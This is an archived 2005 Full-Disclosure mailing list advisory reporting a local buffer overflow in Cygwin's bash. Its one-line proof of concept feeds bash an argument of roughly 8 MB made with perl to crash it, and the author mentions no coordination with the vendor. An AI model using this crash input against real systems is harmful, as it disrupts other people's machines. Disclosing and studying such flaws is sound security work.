lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Sat, 28 May 2005 20:43:38 -0400
From: "Rodrigo Gutierrez" <rodrigo@...ellicomp.cl>
To: <full-disclosure@...ts.grok.org.uk>, <info@...uriteam.com>,
	<submissions@...ketstormsecurity.org>, <bugs@...uritytracker.com>,
	<bugtraq@...urityfocus.com>
Subject: Cygwin Bash Buffer Overflow


Cygwin Bash Buffer Overflow


Author: Rodrigo Gutierrez <rodrigo@...ellicomp.cl>

Affected: Versions of bash distributed by the cygwin project

vendor url: http://www.cygwin.com

Type: Local



Background.

Cygwin is a Linux-like environment for Windows. GNU BASH is the GNU
project's UNIX shell. It replaces the standard UNIX Bourne and Korn shells.


Description

I think that cygwin people are cool, but Full Disclosure is a life style,
this is all you get guys, 8 megs.


PoC

you@...win:~ /usr/bin/bash `perl -e "print 'a'x8388600"`



_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Powered by blists - more mailing lists